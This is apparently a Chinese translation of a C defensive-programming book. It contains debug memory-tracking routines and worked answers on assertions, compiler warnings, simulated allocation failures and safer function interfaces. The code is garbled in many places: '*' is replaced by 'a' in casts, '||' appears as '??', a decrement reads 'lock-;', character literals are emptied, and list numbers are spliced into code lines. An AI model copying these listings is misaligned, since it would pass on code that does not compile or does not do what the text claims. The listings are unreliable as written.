#define fPtrLess(pLeft, pRight) ((pLeft) < (pRight))

#define fPtrGrtr(pLeft, pRight) ((pLeft) > (pRight))

#define fPtrEqual(pLeft, pRight) ((pLeft) == (pRight))

#define fPtrLessEq(pLeft, pRight) ((pLeft) <= (pRight))

#define fPtrGrtrEq(pLeft, pRight) ((pLeft) >= (pRight))

/*-------------------------------------------------------*/

/* * * * * * 内部资料/函式 * * * * * */

/*-------------------------------------------------------*/

/*---------------------------------------------------------

* pbiHead指向一个存放内存管理器除错信息的单向连结串行。

*/

static blockinfo *pbiHead = NULL;

/*---------------------------------------------------------

* pbiGetBlockInfo(pb)

*

* pbiGetBlockInfo搜寻内存配置纪录来找出pb指向的内存

* 块，并传回一个指向存放该内存块对应的内存配置信息的

* blockinfo结构。

* 注：pb必须指向一个已配置内存块，不然你会碰到一个除错

* 检查失败；这函式只会成功，不然就触发除错检查失败的错误

* 讯息－反正它绝对不会传回错误状态。

*

* blockinfo *pbi;

* ...

* pbi = pbiGetBlockInfo(pb);

* //pbi->pb指向pb内存块的起头

* //pbi->size为pb指向的内存块的大小

*/

static blockinfo *pbiGetBlockInfo(byte *pb)

{

blockinfo *pbi;

for (pbi = pbiHead; pbi != NULL; pbi = pbi->pbiNext)

{

byte *pbStart = pbi->pb; /* 为了可读性起见 */

byte *pbEnd = pbi->pb + pbi->size - 1;

if (fPtrGrtrEq(pb, pbStart) && fPtrLessEq(pb,

pbEnd))

break;

}

/* 找不到指针？情形是(a) 垃圾指针？ (b) 指向已释放内存？或

是(c) 指向被fResizeMemory搬动了的内存块？

*/

ASSERT(pbi != NULL);

return (pbi);

}

/*-------------------------------------------------------*/

/* * * * * * 公开函式 * * * * * */

/*-------------------------------------------------------*/

/*---------------------------------------------------------

* fCreateBlockInfo(pbNew, sizeNew)

*

* 这函式建立一份由pbNew:sizeNew定义的内存块的纪录项目。

* 这函式在成功建议纪录信息时传回TRUE, 不然传回FALSE.

*

* if (fCreateBlockInfo(pbNew, sizeNew))

* // 成功 - 内存配置纪录信息项目建立完成。

* else

* // 失败 - 纪录项目没建立成功，把pbNew释放掉。

*/

flag fCreateBlockInfo(byte *pbNew, size_t sizeNew)

{

blockinfo *pbi;

ASSERT(pbNew != NULL && sizeNew != 0);

pbi = (blockinfo a)malloc(sizeof(blockinfo));

if (pbi != NULL)

{

pbi->pb = pbNew;

pbi->size = sizeNew;

pbi->pbiNext = pbiHead;

pbiHead = pbi;

}

return (flag)(pbi != NULL);

}

/*---------------------------------------------------------

* FreeBlockInfo(pbToFree)

*

* 这函式毁掉pbToFree指向的内存块的配置纪录项目。pbToFree

* 必须指向一块已配置内存的开头；不然你就会触发除错检查

* 失败的错误讯息。

*

*/

void FreeBlockInfo(byte *pbToFree)

{

blockinfo *pbi, *pbiPrev;

pbiPrev = NULL;

for (pbi = pbiHead; pbi != NULL; pbi = pbi->pbiNext)

{

if (fPtrEqual(pbi->pb, pbToFree))

{

if (pbiPrev == NULL)

pbiHead = pbi->pbiNext;

else

pbiPrev->pbiNext = pbi->pbiNext;

break;

}

pbiPrev = pbi;

}

/* 如果pbi是NULL, pbtoFree的内容就无效。 */

ASSERT(pbi != NULL);

/* 在释放内存之前毁掉*pbi的内容。 */

memset(pbi, bGarbage, sizeof(blockinfo));

free(pbi);

}

/*---------------------------------------------------------

* UpdateBlockInfo(pbOld, pbNew, sizeNew)

*

* UpdateBlockInfo检查pbOld指向的内存块的纪录信息，然后

* 更新纪录信息来反映内存块位置换到了pbNew而大小改成了

* sizeNew个字节长。pbOld必须指向一块已配置内存的开头，

* 不然就会引发除错检查失败的错误讯息。

*/

void UpdateBlockInfo(byte *pbOld, byte *pbNew, size_t

sizeNew)

{

blockinfo *pbi;

ASSERT(pbNew != NULL && sizeNew != 0);

pbi = pbiGetBlockInfo(pbOld);

ASSERT(pbOld == pbi->pb);

pbi->pb = pbNew;

pbi->size = sizeNew;

}

/*---------------------------------------------------------

* sizeofBlock(pb)

*

* sizeofBlock传回pb指向的内存块的大小。pb必须指向一块已

* 配置内存的开头；不然就会引发除错检查失败的错误讯息。

*/

size_t sizeofBlock(byte *pb)

{

blockinfo *pbi;

pbi = pbiGetBlockInfo(pb);

ASSERT(pb == pbi->pb);

return (pbi->size);

}

/*-------------------------------------------------------*/

/* 底下的例程用来找出无效的指针跟遗失内存块问题的。第三 */

/* 章中有这些例程的讨论。 */

/*-------------------------------------------------------*/

/*---------------------------------------------------------

* ClearMemoryRefs(void)

*

* ClearMemoryRefs将内存配置纪录中所有的内存块标示成为

* 参考状态。

*/

void ClearMemoryRefs(void)

{

blockinfo *pbi;

for (pbi = pbiHead; pbi != NULL; pbi = pbi->pbiNext)

pbi->fReferenced = FALSE;

}

/*---------------------------------------------------------

* NoteMemoryRef(pv)

*

* NoteMemoryRef将pv指到的内存块标示成已参考状态。注：

* pv不一定要指向内存块开头；只要指到已配置内存块内任

* 何一处即可。

*/

void NoteMemoryRef(void *pv)

{

blockinfo *pbi;

pbi = pbiGetBlockInfo((byte a)pv);

pbi->fReferenced = TRUE;

}

/*---------------------------------------------------------

* CheckMemoryRefs(void)

*

* CheckMemoryRefs从内存配置纪录中找寻没被NoteMemoryRef

* 标示到的内存块。如果这函式找到了未标示成已参考状态的

* 内存块，就引发除错检查失败的错误讯息。

*/

void CheckMemoryRefs(void)

{

blockinfo *pbi;

for (pbi = pbiHead; pbi != NULL; pbi = pbi->pbiNext)

{

/* 一个内存块完整度的检查。如果除错检查失败了，就表示管

* 理blockinfo的除错码出问题了，或者可能是有错误的记忆

* 体写入毁了内存配置纪录的数据结构。无论何者，都是错误

* 的情形。

*/

ASSERT(pbi->pb != NULL && pbi->size != 0);

/* 对遗漏的内存块进行检查。如果除错检查失败了，就表示程

* 式遗失了一块内存的配置纪录，或是有整体内存块的指针

* 没被NoteMemoryRef纳入管理。

*/

ASSERT(pbi->fReferenced);

}

}

/*---------------------------------------------------------

* fValidPointer(pv, size)

*

* fValidPointer核对pv指向的已配置内存块的大小是否至少有

* size个字节。如果pv不指向已配置内存，或是该内存块

* 的长度小于size , fValidPointer就会发出除错检查失败的错误讯

* 息；这函是永远不传回FALSE.

*

* fValidPointer传回一个旗标（永远为TRUE）的理由是为了让你

* 可以在一个ASSERT宏内呼叫这函式。虽然这不式最有效率

* 的用法，这样子作巧妙地处理掉了除错版本对发行版本控制的

* 问题，而不是你操心#ifdef DEBUG或使用其它类似ASSERT巨

* 集的问题。

*

* ASSERT(fValidPointer(pb, size));

*/

flag fValidPointer(void *pv, size_t size)

{

blockinfo *pbi;

byte *pb = (byte a)pv;

ASSERT(pv != NULL && size != 0);

pbi = pbiGetBlockInfo(pb); /* 这里核对pv的内容。*/

/* 如果pb+size超出了内存块的尾端了，size的内容就无效。*/

ASSERT(fPtrLessEq(pb + size, pbi->pb + pbi->size));

return (TRUE);

}

#endif


附錄C 解答

附錄C 解答

本附录中包含所有本书中所有"该想一想的事情"小节中的问题的解答，不过那些开放思考性的"学习计划"并不包含在这附录中。

第一章

1. 由于编译器把那个运算顺序的错误解释成底下这样，而能找出问题来：

while (ch = (getchar() != EOF))

换句话说，编译器发现一个表达式的结果被指派给ch时，认为你把一个==打成了=, 就发出一个可能指派错误的警告。

2a.一个简单找出不小心打出来的"八进制数字"错误的办法是打开让编译器在碰到八进制数字常数十发出错误的编译器选项。变通绕过这错误的办法是使用十进制或十六进制的数字来替换八进制数字的值。

2b.要找出程序员把&&打成&（或是把||打成|）的错误，编译器只要打开找出==错打成=时用的那个编译器选项就好了。编译器会在发现你在任何if叙述中或是任何复合条件式中使用&（或|）而没将结果与0明确进行比较时发出错误讯息，所以底下这样应该会产生错误讯息：

if (u & 1) /* u是奇数？ */

而这样子不会产生错误讯息：

if ((u & 1) != 0) /* u是奇数？ */

2c.一个简单找出不必要的注释的方法，就是让编译器在注释的第一个字符是个字母或是括号时发出警告讯息。这样的测试会逮到底下两种可疑的情形：

quot=numer/*pdenom;

quot=numer/*(pointer expression);

要避开这种警告，你可以用空格或括号隔开/跟*：

quot = numer / *pdenom;

quot=numer/(*pdenom);

/*But note：这个注释会产生警告讯息。 */

/* 这样子不会发出警告讯息，因为开头隔了一个空格。 */

/*----------这样子也不会产生警告讯息。---------*/

2d.你可以让编译器找出没括号起来的表达式中可能出问题的运算子对来找出运算顺序可能出错的地方。例如，程序员们有时会在混用<<跟+运算子时出现运算顺序错误的问题，而编译器就会对如下这般的程序代码发出警告：

word = bHigh << 8 + bLow;

编译器不会对底下的叙述发出警告，因为它们用了括号：

word = (bHigh << 8) + bLow;

word = bHigh << (8 + bLow);

一种降低混淆的做法是采用如"如果两个运算子有不同的运算顺序而它们没被括号围起来，就发出警告"的测试法则。这样子判断其实过于简化，不过还是能有效的让你得到警示。开发一种好的测试法则需要在编译器中执行大量程序来检查法则中的各项条件，直到编译器产生出有用的结果。你当然不想在下面这样常见的表达式中碰到编译器发出的警告讯息：

word = bHigha256 + bLow;

if (ch == ' ' ?? ch == '' ?? ch == '')

3.编译器会在碰到两个连续的if叙述接着一个else时发出可能出现孤悬else叙述的警告讯息：

if (expression1) / if (expression1)

if (expression2) if (expression2)

. .

. .

. .

else else

. .

. .

. .

要避开这种警告，你可以在里头那个if叙述周围加上中括号，让else的归属问题明朗化：

if (expression1) if (expression1)

{ {

if (expression2) if (expression2)

. .

. .

. .

} else

else .

.

.

. }

4. 将常数跟表达式放在比较式左边有帮助，是因为它可以提供另一种自动侦测错误的方法，不过这方法不幸的只有在有操作数是常数或表达式时才有用－如果两边的操作数都是变量时，这方法就毫无用处了。这方法的另一个问题是程序员们必须记得用这方法来写程序。

如果，另一方面，你打开编译器选项，编译器就会对每个可能有指派问题的地方发出警告。更棒的，这个选项对那些只上过程序设计课程而不知道要用调换比较式中操作数位置的方法的程序员们一样管用。

如果你有这种编译器选项，就把它打开来；如果你没有，在你获得一个更有帮助的编译器之前，就把比较式中的常数跟表达式放到式子的左边去吧。

5. 要避免未定义的前置处理器宏产生意料之外的结果，编译器（其实真正作这件事的是前置处理器）应该有个让程序员把未定义宏的使用当成错误状态的选项。现在的ANSI C编译器都支持原来的#ifdef前置处理指示跟在#if表达式中使用新的defined运算子的做法，就不太有必要再将未定义的宏当成0处理了。替代底下这种在#if表达式中使用未定义宏的做法，

/* 判断目的平台条件 */

#if INTEL8080

.

.

.

#elif INTEL80x86

.

.

.

#elif MC680x0

.

.

.

#endif

如果你打开禁止使用未定义宏的编译器选项，上头的写法就会出现错误，你应该改用defined运算子来写：

/* 判断目的平台条件 */

#if defined(INTEL8080)

.

.

.

#elif defined(INTEL80x86)

.

.

.

#elif defined(MC680x0)

.

.

.

#endif

这编译器选项在碰到在#ifdef叙述中使用未定义宏时，不应该发出警告讯息，因为这种宏用法应该是故意写出来的。

第二章

1. 一个ASSERTMSG宏的可能写法可以让这宏同时核对表达式跟显示检查错误讯息的字符串。例如要印出memcpy讯息时，你可以这样子呼叫ASSERTMSG：

2. ASSERTMSG(pbTo >= pbFrom+size || pbFrom >=

pbTo+size,"memcpy: the blocks overlap");

在后头列出来的ASSERTMSG宏的实作中，你应该把宏写在一个表头档中，而把_AsserMsg例程写在另一个方便取用的原始码档案中。

#ifdef DEBUG

void _AssertMsg(char *strMessage); /* 函式雏形宣告

*/

#define ASSERTMSG(f,str) \par if (f) \par {} \par else \par _AssertMsg(str)

#else

#define ASSERTMSG(f,str)

#endif

底下是另一个档案中的例程实作：

#ifdef DEBUG

void _AssertMsg(char *strMessage)

{

fflush(NULL);

fprintf(stderr, "failure in

%s",strMessage);

fflush(stderr);

abort();

}

#endif

3. 简单的做法是－如果编译器支持的话－把编译器选项打开，让编译器将所有相同的字符串都存放在相同位置。如此一来，即使除错检查宣告了73份相同文件名的字符串，编译器也只会配置一个字符串的空间出来。这样子作的缺点是，它会将原始码档案中所有相同的字符串叠放在一起，不光是除错检查使用的那些字符串会被存放在一块而已，你可能不想碰到这种情形。

一个变通的办法是改变ASSERT宏的写法，让它故意在档案中参考相同的文件名字符串。唯一的困难在于建立文件名字符串，不过那并不是一件很难的事情－你可以将细节放在每个原始码档案开头都使用一遍的新ASSERTFILE宏中：

#include <stdio.h>

.

.

.

#include <debug.h>

ASSERTFILE(__FILE__)

.

.

.

void *memcpy(void *pvTo, void *pvFrom, size_t size)

{

byte *pbTo = (byte *)pvTo;

byte *pbFrom = (byte *)pvFrom;

ASSERT(pvTo != NULL && pvFrom != NULL);

.

.

.

看得出来ASSERT的用法还是没变吧？底下是实作ASSERTFILE宏跟ASSERT宏新版本的写法：

#ifdef DEBUG

#define ASSERTFILE(str) \par static char strAssertFile[] = str;

#define ASSERT(f) \par if (f) \par {} \par else \par _Assert(strAssertFile, __LINE__)

#else

#define ASSERTFILE(str)

#define ASSERT(f)

#endif

使用这个版本的ASSERT，你可以回收海量存储器.例如在我在书中用来测试这宏的小程序中，新的实作只用掉3K的资料空间。

4. 使用这种除错检查的问题是测试中包含了应该放在函式的非除错版中的程序代码，而且这个非除错版的程序代码的do loop无穷循环只有在碰到ch等于换行字符时才会结束。这函式应该写成这样子：

5. void getline(char *pch)

6. {

7. int ch; /* ch必须是个整数。 */

8.

9. do

10. {

11. ch = getchar();

12. ASSERT(ch != EOF);

13. }

14. while ((*pch++ = ch) != '');

}

15. 一个简单找出switch叙述中没有更新过的错误的办法，是把除错检查放在default状态中，对非预期的状态发出警告。有时default状态应该永远不会发生，因为所有可能状态都被明确处理掉了。当所有状态都明确处理完成后，加上这样子的检查：

16. .

17. .

18. .

19. default:

20. ASSERT(FALSE); /* 我们应该永远碰不到这个检查。*/

21. break;

}

22. 设计上，表格中的每个项目的位样式都应该是个对应屏蔽的子集合。例如说，在屏蔽为0xFF00时，位样式就不能有任何设立位出现在低字节中；不然就不可能有任何指令在屏蔽后吻合那样的位样式了。CheckIdInst子程序可以透过核对位样式是不是屏蔽的子集合的方式来加强：

23. void CheckIdInst(void)

24. {

25. identity *pid, *pidEarlier;

26. instruction inst;

27.

28. for (pid = &idInst[0]; pid->mask != 0; pid++)

29. {

30. /* 确定位样式是屏蔽的子集合。 */

31. ASSERT((pid->pat & pid->mask) == pid->pat);

32. .

33. .

.

34. 用除错检查来核对inst内部不存在有问题的设定：

35. instruction *pcDecodeEOR(instruction inst,

36. instruction *pc,opcode *popc)

37. {

38. /* 我们有将CMPM或CMPA.L指令弄错吗？ */

39. ASSERT(eamode(inst) != 1 && mode(inst) != 3);

40.

41. /* 在非缓存器状态，只允许绝对字组跟长字组模式。 */

42. ASSERT(eamode(inst) != 7 ||

43. (eareg(inst) == 0 || eareg(inst) == 1));

44. .

45. .

.

46. 选择备用算法的重点在于跟本来的算法的不同性。要核对qsort是否正确运作，你可以检查排序后的资料顺序是否正确。检查顺序并不会更动资料的顺序，所以够格当成不同的算法来处理。要检查二元搜寻是否正确，可以用线性搜寻法来检查两种搜寻方式是否得到同样的结果。最后，要检查itoa函式，可以将它传回的字符串结果再转换成整数，跟原来传给itoa的整数值比较；这两个整数值应该是相同的。

当然，你大概不会在每一份你写的程序中使用备用的算法－除非你在替航天飞机、核子发电厂或任何出错就会造成生命威胁的机械装置写程序。不过你或许应该在程序所有重要的部分使用备用算法来检查错误。

第三章

1. 你可以使用不同的除错值来清理未初始化跟已释放内存的内容，让未初始化内存与已释放内存的使用更容易现形。例如fNewMemory会使用bNewGarbage清除新配置的未初始化内存内容，而FreeMemory会在释放内存时使用bFreeGarbage毁掉本来的内存内容：

2. #define bNewGarbage 0xA3

#define bFreeGarbage 0xA5

fResizeMemory会产生这两种类型的垃圾值－你可以用上述两个值，也可以自己再设定两个不同值。

3. 要抓出"超出边界写入"的错误的一个办法是，定期检查每个已配置内存块后头的字节有没被更动过。不过这种测试看来虽然简单，却需要纪录每一块内存后头的字节内容，而且带来读取不属于已配置内存空间内容的问题。幸运的，要写出这样的测试方式有个简单的办法，只要你在配置内存时多配置一字节的空间就好了。

举例来说，当你以size=36的参数呼叫fNewMemory时，你可以一次配置37字节的内存，并将一个已知的"除错字节"放到多出来的那一个字节内。相似的，你也可以在fResizeMemory呼叫realloc时多配置并设定一个字节。要找出"超出边界写入"的问题，你可以把除错检查放到sizeofBlock, fValidPointer, FreeBlockInfo, NoteMemoryRef跟CheckMemoryRefs中，来检查除错字节有没有被动过。

下面是一种实作这个测试程序的一种方式。首先，你应该定义bDebugByte跟sizeofDebugByte：

/* bDebugByte是个存放在除错版本程序配置的每一块内存末端

* 的神奇数字。sizeofDebugByte式传给malloc跟realloc

* 时真正增加的配置内存数量。

*/

#define bDebugByte 0xE1

#ifdef DEBUG

#define sizeofDebugByte 1

#else

#define sizeofDebugByte 0

#endif

接下来，你可以用sizeofDebugByte来调整fNewMemory跟fResizeMemory中对malloc跟realloc的呼叫参数，并用bDebugByte在内存配置成功时填入多余的字节：

flag fNewMemory(void **ppv, size_t size)

{

byte **ppb = (byte **)ppv;

ASSERT(ppv != NULL && size != 0);

*ppb = (byte *)malloc(size + sizeofDebugByte);

#ifdef DEBUG

{

if (*ppb != NULL)

{

*(*ppb + size) = bDebugByte;

memset(*ppb, bGarbage, size);

.

.

.

flag fResizeMemory(void **ppv, size_t sizeNew)

{

byte **ppb = (byte **)ppv;

byte **bNew;

.

.

.

pbNew = (byte *)realloc(*ppb, sizeNew +

sizeofDebugByte);if (pbNew != NULL)

{

#ifdef DEBUG

{

*(pbNew + sizeNew) = bDebugByte;

UpdateBlockInfo(*ppb, pbNew, sizeNew);

.

.

.

最后，在sizeofBlock, fValidPointer, FreeblockInfo, NoteMemoryRef跟CheckMemoryRefs这些附录B中的子程序中加上：

/* 核对内存块末端的内容有无被更动过。 */

ASSERT(a(pbi->pb + pbi->size) == bDebugByte);

修改了这些部分后，内存子系统就能够在程序写入超出已配置内存块末端时找出问题来了。

4. 你有许多种方法可以找出不完全孤悬指针的问题来。一种做法是将除错版的FreeMemory改成不会在收到指针时立刻释放内存块，而是将内存块的指针放到一个自由内存串行中。（串行中都是向系统配置好了，对程序却算是已释放了的内存块。）这样子修改FreeMemory可以避免一个"已释放"内存块在内存子系统能够经由CheckMemoryRefs核对前被重新配置出去。CheckMemoryRefs会检查内存系统，并将FreeMemory留下的自由内存串行中的内存块真正释放掉。

现在，虽然这种做法可以找到不完全孤悬指针的问题，你大概不会在程序碰到这样的问题之前使用这个方法。理由：这做法违反了除错码应该是多余－而非不同－的程序代码的原则。

5. 要核对指针参考到的内存块大小，你必须考虑两种情形：指向整块内存的指针跟指向内存块内部配置区域的指针。对于前者，你所能采用的最严格检查是核对指针是否指向内存块开头，而内存块大小是否吻合sizeofBlock函式所传回的结果。对于后者，则只能采取较松散的检查：指针必须指向一块内存，而且大小必须小于内存块的长度。

所以我们不使用现成的NoteMemoryRef例程来标示两种指针指向的内存，而用两个函式来标示两种类型的内存块。对于指向内存块内部配置区域的指针，你可以将现成的NoteMemoryRef函式加上一个size参数，在标示指向整块内存的指针时，你可以建立一个新的NoteMemoryBlock函式。

/* NoteMemoryRef(pv, size)

*

* NoteMemoryRef将pv指向的内存块标示成已参考状态。注

* 意：pv不用指向一块内存的开头；它只要指向一块已配置记忆

* 体内的地址就可以了，不过那块内存在被指到的地址之后至少

* 要有size个字节的空间才行。注意：用NoteMemoryBlock

* 来检查指向内存块开头的指针－那个函式可以提供更严格的检

* 查。

*/

void NoteMemoryRef(void *pv, size_t size);

/* NoteMemoryBlock(pv, size)

*

* NoteMemoryBlock将pv指向的内存块标示成已参考状态。注

* 注意：pv必须指向一块刚好有size个位组长度的内存块开

* 头。

*/

void NoteMemoryBlock(void *pv, size_t size);

这两个函式可以让你找出这个问题中提出的错误情形。

6. 要改善附录B中例程的完整度检查，你可以先把blockinfo结构中的参考旗标改成参考次数，再修改ClearMemoryrefs跟NoteMemoryRef来处理这个参考次数。那部分简单，问题在于你该如何修改CheckMemoryRefs, 好让它能够对某些被多重参考的内存块发出错误讯息而让其它也被多重参考了的内存块过关？

这问题的一个做法是增强NoteMemoryRef函式，让它在指向内存块的指针之外再接受一个内存块ID的卷标输入。NoteMemoryRef可以将这卷标存放在blockinfo结构中，而CheckMemoryRefs可以在之后用这卷标来核对参考次数。底下就是这个修改版的写法。表头注释可以参考附录B中本来的函式。

/* blocktag是个程序中所有类型已配置内存块的串行。

* ClearmemoryRefs将所有内存块设定成tagNone.

* NoteMemoryRef将内存块的卷标设定成某个指定类型。

*/

typedef enum

{

tagNone,

tagSymName,

tagSymStruct,

tagListNode, /* 串行的节点必须被参考两次。*/

.

.

.

} blocktag;

void ClearMemoryRefs(void)

{

blockinfo *pbi;

for (pbi = pbiHead; pbi != NULL; pbi = pbi-

>pbiNext)

{

pbi->nReferenced = 0;

pbi->tag = tagNone;

}

}

void NoteMemoryRef(void *pv, blocktag tag)

{

blockinfo *pbi;

pbi = pbiGetBlockInfo((byte a)pv);

pbi->nReferenced++;

ASSERT(pbi->tag == tagNone || pbi->tag ==

tag);pbi->tag = tag;

}

void CheckMemoryRefs(void)

{

blockinfo *pbi;

for (pbi = pbiHead; pbi != NULL; pbi = pbi-

>pbiNext)

{

/* 一个内存块完整度的简单检查。如果除错检查失败

* 了，就表示管理blockinfo的除错码出问题了，或者

* 可能是有错误的内存写入毁了内存配置纪录的资

* 料结构。无论何者，都是错误的情形。

*/

ASSERT(pbi->pb != NULL && pbi->size != 0);

/* 对遗漏的内存块进行检查。如果除错检查失败了，

* 就表示程序遗失了一块内存的配置纪录，或是有整

* 体内存块的指针没被NoteMemoryRef纳入管理。

* 有些型态的内存块可能被参考多次。

*/

switch (pbi->tag)

{

default:

/* 大部分内存块都只会被参考一次而已。 */

ASSERT(pbi->nReferenced == 1);

break;

case tagListNode:

ASSERT(pbi->nReferenced == 2);

break;

.

.

.

}

}

}

7. MS-DOS, Windows跟麦金塔程序开发人员一般会使用一种会快速吞噬内存空间的工具让程序的内存配置失败，以测试程序如何处理内存耗尽的情形。这做法可行，可是不精确－它没办法准确控制程序中内存配置失败处的位置。如果你要测试个别功能，这做法就不怎么管用了。一个更好的办法是直接在内存管理程序中实作一个内存耗尽状态的仿真程序。

不过要注意，内存配置失败祇是资源配置失败的一种而已－你可能会碰到磁盘空间耗尽，列表纸张用完，电话忙线中等等各种错误。你真正需要的，是一种能够伪造各种失误状态的泛用工具。

一种可行做法是建立一个failureinfo结构，其中包含告诉失误处理机制该如何处理各种状态的信息。这构想是让程序员跟测试圆能够从外部测试中考验特定功能的失误处理能力，微软的应用程序常有除错专用的对话窗口，在Excel这样有宏语言的程序中也有除错专用的宏，让测试人员能用这些除错工具来自动测试各种失误情形。

要在内存管理程序中宣告一个failureinfo结构，你可以加上

failureinfo fiMemory;

然后在fNewMemory跟fResizeMemory中仿真内存用完的失误状态，你可以在两个函式中加上一小段除错码：

flag fNewMemory(void **pv, size_t size)

{

byte **ppb = (byte **)ppv;

#ifdef DEBUG

if (fFakeFailure(&fiMemory))

{

*ppb = NULL;

return (FALSE);

}

#endif

.

.

.

flag fResizeMemory(void **ppv, size_t sizeNew)

{

byte **ppb = (byte **)ppv;

byte *pbNew;

#ifdef DEBUG

if (fFakeFailure(&fiMemory))

return (FALSE);

#endif

.

.

.

修改了这些东西之后，新的失误处理机制就等着上路了。要让它开始动作，你可以呼叫SetFailures函式来初始化failureinfo结构：

SetFailures(&fiMemory, 5, 7);

以5跟7的参数呼叫SetFailures是在让失误处理系统知道你在引起七次连续的错误之前会呼叫这个系统五次。SetFailures的两种常见呼叫方式是

/* 不伪造任何失误状态。*/

SetFailures(&fiMemory, UINT_MAX, 0);

/* 永远伪造失误状态。 */

SetFailures(&fiMemory, 0, UINT_MAX);

使用SetFailures, 你可以设计出重复呼叫相同程序代码而每次呼叫时都设定不同SetFailures参数来仿真所有可能错误型态的单元测试。一种常见的测试方式是将第二个"失误"参数值设定在UINT_MAX, 而让第一个"成功"次数逐一从0递增－"一定失误"－到某个够大到测试系统中所有对这系统的成功呼叫的次数。

最后，你有时会想呼叫内存系统，磁盘系统跟其它提供资源的子系统而不想碰到任何伪造出来失误状态；这通常是当你从其它除错程序代码中配置资源时。后面两个可巢状使用的函式让你能够暂时关闭这个失误处理机制。

DisableFailures(&fiMemory);

配置一些内存资源

EnableFailures(&fiMemory);

底下的程序代码实作了构成失误处理机制的四个函式：

typedef struct

{

unsigned nSucceed; /* 伪装失误之前的呼叫次数 */

unsigned nFail; /* 伪装失误的次数 */

unsigned nTries; /* 已经呼叫过的次数 */

int lock; /* 如果大于零，就会关闭失误伪装机制。*/

} failureinfo;

void SetFailures(failureinfo *pfi, unsigned

nSucceed,unsigned nFail)

{

/* 如果nFail为零，nSucceed就必须为UINT_MAX。 */

ASSERT(nFail != 0 || nSucceed == UINT_MAX);

pfi->nSucceed = nSucceed;

pfi->nFail = nFail;

pfi->nTries = 0;

pfi->lock = 0;

}

void EnableFailures(failureinfo *pfi)

{

ASSERT(pfi->lock > 0);

pfi->lock-;

}

void DisableFailures(failureinfo *pfi)

{

ASSERT(pfi->lock >= 0 && pfi->lock < INT_MAX);

pfi->lock++;

}

flag fFakeFailure(failureinfo *pfi)

{

ASSERT(pfi != NULL);

if (pfi->lock > 0)

return (FALSE);

/* nTries最大不超过UINT_MAX。 */

if (pfi->nTries != UINT_MAX)

pfi->nTries++;

if (pfi->nTries <= pfi->nSucceed)

return (FALSE);

if (pfi->nTries - pfi->nSucceed <= pfi->nFail)

return (TRUE);

return (FALSE);

}

第四章

第四章中没有任何问题，虽然给了几个学习计划。

第五章

1. strdup的接口设计有危险性，因为它发生错误时会传回NULL指针，就像malloc的情形，这种错误可能会被忽略掉。一个降低错误性的接口会将错误状况与指针输出分开，让错误状态明显化。一个这样的接口可以写成底下那样

2. char *strDup; /* 指向复制好的字符串 */

3.

4. if (fStrDup(&strDup, strToCopy))

5. 成功 - strDup指向新的字符串

6. else

不成功 - strDup为NULL

7. getchar一种比fGetChar更好的接口设计方式会传回一个错误代码，而不光只是传回一个TRUE或FALSE的"成功"与否的值－例如

8. /* These are the errors that errGetChar may return. */

9.

10. typedef enum

11. {

12. errNone = 0,

13. errEOF,

14. errBadRead,

15. .

16. .

17. .

18. } error;

19.

20. void ReadSomeStuff(void)

21. {

22. char ch;

23. error err;

24.

25. if ((err = errGetChar(&ch)) == errNone)

26. 成功 - ch含有下一个字符的内容

27. else

28. 失败 - err有错误原因的类型

29. .

30. .

.

这个接口比fGetChar好的原因在于它让errGetChar能够传回多种错误状态（也因此能传回多种成功状态）。如果你不在乎传回来的特定错误类型，你可以将区域变量err拿掉，而回头用fGetChar的接口：

if ((errGetChar(&ch)) == errNone)

成功 - ch含有下一个字符的内容

else

失败 - err有错误原因的类型

31. strncpy的麻烦之处在于它的行为不一致：有时会将目的字符串以nul字符结尾，有时则不。strncpy与其它通用字符串处理函式摆在一起，让程序员们会误以为strncpy本身也是个通用函式，事实不然。有那种不寻常行为的strncpy应该不在ANSI标准中，它被放进了标准中只是因为它被广泛用在ANSI标准制定之前的C语言程序中。

32. C++的inline函式限定字的用处在于它让你可以把函式定义得根宏一般有效率－如果你的编译器够好－而不会有宏"函式"在评估参数值时的麻烦副作用。

33. C++新的&参考参数的严重问题在于隐藏了你实际上传递的是变量参考地址，而不是变量值，以致产生混淆。举例来说，假设你将fResizeMemory函式重新定义来使用参考参数，程序员们会写成

34. if (fResizeMemory(pb, sizeNew))

内存块大小改变成功

不过，要注意，不熟悉这函式的程序员们没理由相信pb在呼叫中会被改变。你觉得这对程序的维护会有什么影响？

一个相关的问题是，使用C语言的程序员们在知道传入的参数是变量值而不是变量参考时，常会改变形式参数的内容。可是如果维护程序员在修理不是他自己写的函式的错误，他没注意到函式宣告中的&, 他可能会在函式里头改变参数的内容，而不知道这样的改变对影响到函式之外的情形。&参考参数的危险性在于会隐藏这样重要的实作细节。

35. strcmp接口的问题在于传回值会让呼叫处产生不良程序代码。要改善strcmp，你会将接口设计成简单易懂的样子，即使对不了解这函式的人来说也是如此。

一种可行的接口设计方式是现有strcmp接口的一种轻微变形。对不相等的字符串，不再传回任意的正负值－那会让程序员们必须把所有结果都对0比较过－你可以把strcmp改成会传回三个定义完善的有名称常数：

if (strcmp(strLeft, strRight) == STR_LESS)

if (strcmp(strLeft, strRight) == STR_GREATER)

if (strcmp(strLeft, strRight) == STR_EQUAL)

另一种可行的接口设计方式是使用不同的函式来处理不同类型的比较：

if (fStrLess(strLeft, strRight))

if (fStrGreater(strLeft, strRight))

if (fStrEqual(strLeft, strRight))

第二种接口设计方式的优点在于让你能够使用宏透过现成的strcmp函式来实作这些函式：

#define fStrLess(strLeft, strRight) \par (strcmp(strLeft, strRight) < 0)

#define fStrGreater(strLeft, strRight) \par (strcmp(strLeft, strRight) > 0)

#define fStrEqual(strLeft, strRight) \par (strcmp(strLeft, strRight) == 0)

你可以再更进一步定义出使用<=跟>=进行比较的宏来增加可读性。这样子可以增进可读性，而不会造成程序大小或执行速度上的损失。

第六章

1. "普通"单位元字段的可移植性值域只有0，所以没什么用处。它还有个非零状态－可是你不知道那是-1还是1，这完全看你的编译器内定位字段为有号数还是无号数而定。如果你将所有比较都限定成对0的比较，你就可以安全的使用单位元字段的两种状态。举例来说，如果你假设psw.carry是个"普通"的单位元字段，你就可以安全的使用底下四种测试写法：

2. if (psw.carry == 0) if (!psw.carry)

3.

if (psw.carry != 0) if (psw.carry)

不过底下的测试方式则因为它们依赖了你用的编译器设定而有危险性：

if (psw.carry == 1) if (psw.carry == -1)

if (psw.carry != 1) if (psw.carry != -1)

4. 传回布尔（Boolean）值的函式如同单位元字段般，你不能安全预测"true"传回来的是什么值。你可以信赖FALSE会为零的假设，可是程序员们经常会传回任何方便的非零值来表示"true"，使传回来的结果不等于常数TRUE。如果你假设fNewMemory会传回一个布尔值，你可以安全的使用底下的比较式

